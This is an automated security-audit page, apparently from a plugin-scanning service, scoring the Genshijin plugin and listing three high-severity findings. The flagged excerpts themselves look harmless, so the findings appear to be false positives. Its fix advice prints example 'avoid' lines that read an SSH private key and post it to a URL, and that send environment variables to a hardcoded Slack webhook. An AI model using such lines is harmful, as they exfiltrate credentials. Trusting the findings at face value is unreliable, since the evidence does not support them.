Genshijin— plugin

Genshijin — independently scanned and version-tracked by SaferSkills.

by InterfaceX-co-jp·Plugin·github.com/InterfaceX-co-jp/genshijin

Is Genshijin safe to install?

SaferSkills independently audited Genshijin (Plugin) and scored it 45/100 (orange). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 3 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
45/100
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Re-scan~30s
Latest scan
ScannedJun 23, 2026 · 134d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 3 high
EngineSaferSkills 755a9a5
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
25
8.8 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 3 flagged

Securityscore 25 · 3 findings
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · hooks/genshijin-config.js
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (// 攻撃者が ~/.ssh/id_rsa 等への symlink で差替えた場合でも、). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpthooks/genshijin-config.js· javascript
149 
150// symlink 拒否・サイズ上限・ホワイトリスト検証付きフラグ読込。
151// 攻撃者が ~/.ssh/id_rsa 等への symlink で差替えた場合でも、
152// 不正値として null を返しコンテキストに混入させない。
153const MAX_FLAG_BYTES = 64;
Occurrences
1 occurrence · at L151
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256c84a706284235e56…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · docs/benchmark.json
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL ("# GitHub Actions CI/CDパイプライン構築ガイド\n\n## 概要\n\nN…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptdocs/benchmark.json· json
895],
896"normal_texts": [
897"# GitHub Actions CI/CDパイプライン構築ガイド\n\n## 概要\n\nNode.js アプリケーションを例に、テスト・ビルド・デプロイまでの基本的なCI/CDパ
… (100 chars elided on L897)
898"# GitHub Actions CI/CDパイプライン構築ガイド\n\n## 全体構成\n\n```\n.github/\n└── workflows/\n ├── ci.y
… (100 chars elided on L898)
899"# GitHub Actions CI/CDパイプライン構築ガイド\n\n## 📁 プロジェクト構成\n\n```\nmy-app/\n├── .github/\n│ └──
… (96 chars elided on L899)
Occurrences
1 occurrence · at L897
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256e4f60ab01426c47c…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · benchmarks/results/v1.5.0_ja.json
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL ("# GitHub Actions CI/CDパイプライン構築ガイド\n\n## 概要\n\nN…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptbenchmarks/results/v1.5.0_ja.json· json
895],
896"normal_texts": [
897"# GitHub Actions CI/CDパイプライン構築ガイド\n\n## 概要\n\nNode.js アプリケーションを例に、テスト・ビルド・デプロイまでの基本的なCI/CDパ
… (100 chars elided on L897)
898"# GitHub Actions CI/CDパイプライン構築ガイド\n\n## 全体構成\n\n```\n.github/\n└── workflows/\n ├── ci.y
… (100 chars elided on L898)
899"# GitHub Actions CI/CDパイプライン構築ガイド\n\n## 📁 プロジェクト構成\n\n```\nmy-app/\n├── .github/\n│ └──
… (96 chars elided on L899)
Occurrences
1 occurrence · at L897
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256e4f60ab01426c47c…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
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